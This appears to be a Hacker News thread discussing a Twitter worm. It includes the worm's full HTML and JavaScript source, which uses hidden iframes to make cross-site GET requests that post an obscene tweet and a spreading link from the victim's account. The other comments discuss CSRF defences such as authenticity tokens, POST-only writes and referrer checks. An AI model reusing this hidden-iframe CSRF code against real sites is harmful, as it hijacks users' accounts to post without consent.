Twitter worm? Sex with goats?

https://news.ycombinator.com/item?id=1729601

by cjus • 16 years ago

25 25 16 years ago

news.ycombinator.com

Looks like twitter is having troubles again. Looks like a worm is posting the message "i love anal sex with goats" followed by a post with a link.

thehodge• 16 years ago

Interesting that it hits just as the TC Hackday demos go live, I wonder how many of those are going to be using twitter and if this will affect them (will twitter take the api down for a bit while they fix this or if this is part of a hack)

mrduncan• 16 years ago

Below is the source of the worm for the curious - it's surprisingly very simple.

    <html>
    <head></head>
    <body>
    <script>
    var el1 = document.createElement('iframe');
    var el2 = document.createElement('iframe');
    el1.style.visibility="hidden";
    el2.style.visibility="hidden";
    el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
    el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
    document.getElementsByTagName("body")[0].appendChild(el1);
    document.getElementsByTagName("body")[0].appendChild(el2);
    </script>
    </body>
    </html>

Groxx2• 16 years ago

Yet another reason why all GET requests in an API should be idempotent.

cperciva• 16 years ago

idempotent

I don't think that word means what you think it means.

Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad.

You probably meant "GET requests should be side effect free".

bkrausz2• 16 years ago

Even if this were a POST request, once could simply issue an AJAX request of any type to Twitter and it would have the same effect.

Alternatively build a form in the iframe and use JS to submit it to Twitter.

tlrobinson2• 16 years ago

That would be a cross-site request forgery (CSRF) attack:

http://en.wikipedia.org/wiki/Cross-site_request_forgery

bkrausz2• 16 years ago

I'm amazed Twitter doesn't use nonce values on their status updates: they've been around long enough that this shouldn't be an issue.

http://en.wikipedia.org/wiki/Cryptographic_nonce

wmil• 16 years ago

Links like that are a common way to implement "share on twitter" buttons.

Twitter does monitor the referring URL and can automatically block suspicious sites. For some reason pastehtml.com didn't set off any alarm bells.

Being around for a while was part of the problem, they didn't want to break existing sites.

rbranson• 16 years ago

Kids -- this is why you only support POST/PUTs for writes, and if possible, require some kind of authenticity token. I guess this is what al3x was talking about when he meant that Twitter should hire a security expert.

tlrobinson2• 16 years ago

That alone won't protect you against all CSRF attacks since you're allowed to POST forms cross-domain.

Checking the referrer header is a start. Including the token you mentioned is even better.

jluxenberg• 16 years ago

Sure, the key will stop CSRF attacks that rely on just an iframe, but if my attack is more sophisticated then I can scrape the token from a legit form and re-post with whatever data I want.

zaphar• 16 years ago

That token should not be considered optional. Even if you require authentication you should still have a one time expiring token tied to an actual form recently shown on your site for this sort of thing, Or an api key if it's a rest service.

Your "if possible" clause makes it seem optional but if you don't include it then your service is vulnerable, period.

maukdaddy• 16 years ago

Honestly it doesn't require a security "expert" to tell them the current system is insecure. A basic grasp of web security should be enough to use PUTS with auth tokens!

boundlessdreamz• 16 years ago

Twitter is vulnerable to CSRF (which is what this is). And it is so simple to prevent it in rails (which is what twitter uses). Interestingly the page announcing csrf protection in rails uses a twitter csrf example. in 2007!! and twitter still hasn't done anything. http://m.onkey.org/2007/9/28/csrf-protection-for-your-existi...

Also this status post should be a POST.

ssclafani• 16 years ago

Twitter has had CSRF protection in the form of the authenticity_token parameter since that attack in 2007. This worm exploited a recent change to the Tweet Button that allowed status updates to be made on a GET.

kmfrk• 16 years ago

Twitter's blog post on the vulnerability: http://status.twitter.com/post/1192873885/malicious-links-on....

Twitter worm? Sex with goats?

Related Stories